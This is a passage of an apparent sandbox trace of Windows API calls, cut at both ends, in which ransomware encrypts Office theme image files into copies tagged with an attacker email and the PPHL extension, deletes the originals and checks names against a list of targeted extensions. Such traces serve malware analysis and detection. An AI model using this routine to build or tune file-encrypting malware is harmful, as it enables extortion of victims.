dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.213] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.213] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.221] GetLastError () returned 0x0 [0077.221] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x5ad, lpOverlapped=0x0) returned 1 [0077.584] WriteFile (in: hFile=0x21c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0077.585] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0077.586] WriteFile (in: hFile=0x21c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.586] SetEndOfFile (hFile=0x21c) returned 1 [0077.586] CloseHandle (hObject=0x21c) returned 1 [0077.586] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.586] SetEndOfFile (hFile=0x15c) returned 1 [0077.587] CloseHandle (hObject=0x15c) returned 1 [0077.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.588] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0077.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.588] lstrlenW (lpString=".doc") returned 4 [0077.588] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.588] lstrlenW (lpString=".docx") returned 5 [0077.588] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.588] lstrlenW (lpString=".pdf") returned 4 [0077.588] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.588] lstrlenW (lpString=".xls") returned 4 [0077.588] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.588] lstrlenW (lpString=".xlsx") returned 5 [0077.588] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.588] lstrlenW (lpString=".ppt") returned 4 [0077.588] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.588] lstrlenW (lpString=".zip") returned 4 [0077.588] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.588] lstrlenW (lpString=".rar") returned 4 [0077.588] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.588] lstrlenW (lpString=".bz2") returned 4 [0077.589] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.589] lstrlenW (lpString=".7z") returned 3 [0077.589] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.589] lstrlenW (lpString=".dbf") returned 4 [0077.589] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.589] lstrlenW (lpString=".1cd") returned 4 [0077.589] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.589] lstrlenW (lpString=".jpg") returned 4 [0077.589] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.589] lstrlenW (lpString=".doc") returned 4 [0077.589] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.589] lstrlenW (lpString=".docx") returned 5 [0077.589] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.589] lstrlenW (lpString=".pdf") returned 4 [0077.589] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.589] lstrlenW (lpString=".xls") returned 4 [0077.589] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.589] lstrlenW (lpString=".xlsx") returned 5 [0077.589] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.589] lstrlenW (lpString=".ppt") returned 4 [0077.589] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.590] lstrlenW (lpString=".zip") returned 4 [0077.590] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.590] lstrlenW (lpString=".rar") returned 4 [0077.590] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.590] lstrlenW (lpString=".bz2") returned 4 [0077.590] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.590] lstrlenW (lpString=".7z") returned 3 [0077.590] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.590] lstrlenW (lpString=".dbf") returned 4 [0077.590] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.590] lstrlenW (lpString=".1cd") returned 4 [0077.590] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0077.590] lstrlenW (lpString=".jpg") returned 4 [0077.590] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.590] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.590] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0077.966] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=32433) returned 1 [0077.966] CloseHandle (hObject=0x220) returned 1 [0077.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0077.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0077.967] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.967] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0077.967] GetLastError () returned 0x0 [0077.967] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0077.987] WriteFile (in: hFile=0x18c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0077.989] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0077.989] WriteFile (in: hFile=0x18c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.989] SetEndOfFile (hFile=0x18c) returned 1 [0077.989] CloseHandle (hObject=0x18c) returned 1 [0077.990] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.990] SetEndOfFile (hFile=0x220) returned 1 [0077.991] CloseHandle (hObject=0x220) returned 1 [0077.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.991] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0077.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.991] lstrlenW (lpString=".doc") returned 4 [0077.991] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.991] lstrlenW (lpString=".docx") returned 5 [0077.991] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.991] lstrlenW (lpString=".pdf") returned 4 [0077.991] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.991] lstrlenW (lpString=".xls") returned 4 [0077.991] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.991] lstrlenW (lpString=".xlsx") returned 5 [0077.991] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.991] lstrlenW (lpString=".ppt") returned 4 [0077.991] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.992] lstrlenW (lpString=".zip") returned 4 [0077.992] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.992] lstrlenW (lpString=".rar") returned 4 [0077.992] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.992] lstrlenW (lpString=".bz2") returned 4 [0077.992] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.992] lstrlenW (lpString=".7z") returned 3 [0077.992] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.992] lstrlenW (lpString=".dbf") returned 4 [0077.992] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.992] lstrlenW (lpString=".1cd") returned 4 [0077.992] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.992] lstrlenW (lpString=".jpg") returned 4 [0077.992] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.992] lstrlenW (lpString=".doc") returned 4 [0077.992] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.992] lstrlenW (lpString=".docx") returned 5 [0077.992] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.992] lstrlenW (lpString=".pdf") returned 4 [0077.992] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.992] lstrlenW (lpString=".xls") returned 4 [0077.992] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.992] lstrlenW (lpString=".xlsx") returned 5 [0077.992] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.992] lstrlenW (lpString=".ppt") returned 4 [0077.992] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.992] lstrlenW (lpString=".zip") returned 4 [0077.993] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.993] lstrlenW (lpString=".rar") returned 4 [0077.993] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.993] lstrlenW (lpString=".bz2") returned 4 [0077.993] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.993] lstrlenW (lpString=".7z") returned 3 [0077.993] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.993] lstrlenW (lpString=".dbf") returned 4 [0077.993] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.993] lstrlenW (lpString=".1cd") returned 4 [0077.993] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0077.993] lstrlenW (lpString=".jpg") returned 4 [0077.993] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.993] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.993] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0077.994] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=2476) returned 1 [0077.994] CloseHandle (hObject=0x220) returned 1 [0077.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0077.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0077.994] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.994] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0078.010] GetLastError () returned 0x0 [0078.011] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x9ac, lpOverlapped=0x0) returned 1 [0078.036] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0078.039] ReadFile (in: hFile=0x220, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0078.039] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.039] SetEndOfFile (hFile=0x1f0) returned 1 [0078.039] CloseHandle (hObject=0x1f0) returned 1 [0078.039] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.039] SetEndOfFile (hFile=0x220) returned 1 [0078.040] CloseHandle (hObject=0x220) returned 1 [0078.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.040] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0078.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.040] lstrlenW (lpString=".doc") returned 4 [0078.041] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.041] lstrlenW (lpString=".docx") returned 5 [0078.041] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.041] lstrlenW (lpString=".pdf") returned 4 [0078.041] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.041] lstrlenW (lpString=".xls") returned 4 [0078.041] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.041] lstrlenW (lpString=".xlsx") returned 5 [0078.041] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.041] lstrlenW (lpString=".ppt") returned 4 [0078.041] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.041] lstrlenW (lpString=".zip") returned 4 [0078.041] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.041] lstrlenW (lpString=".rar") returned 4 [0078.041] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.041] lstrlenW (lpString=".bz2") returned 4 [0078.041] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.041] lstrlenW (lpString=".7z") returned 3 [0078.041] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.041] lstrlenW (lpString=".dbf") returned 4 [0078.041] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.041] lstrlenW (lpString=".1cd") returned 4 [0078.041] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.041] lstrlenW (lpString=".jpg") returned 4 [0078.041] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.041] lstrlenW (lpString=".doc") returned 4 [0078.041] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.041] lstrlenW (lpString=".docx") returned 5 [0078.042] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.042] lstrlenW (lpString=".pdf") returned 4 [0078.042] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.042] lstrlenW (lpString=".xls") returned 4 [0078.042] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.042] lstrlenW (lpString=".xlsx") returned 5 [0078.042] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.042] lstrlenW (lpString=".ppt") returned 4 [0078.042] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.042] lstrlenW (lpString=".zip") returned 4 [0078.042] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.042] lstrlenW (lpString=".rar") returned 4 [0078.042] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.042] lstrlenW (lpString=".bz2") returned 4 [0078.042] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.042] lstrlenW (lpString=".7z") returned 3 [0078.042] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.042] lstrlenW (lpString=".dbf") returned 4 [0078.042] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.042] lstrlenW (lpString=".1cd") returned 4 [0078.042] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0078.042] lstrlenW (lpString=".jpg") returned 4 [0078.042] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.042] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.042] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0078.043] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1659) returned 1 [0078.043] CloseHandle (hObject=0x220) returned 1 [0078.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0078.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 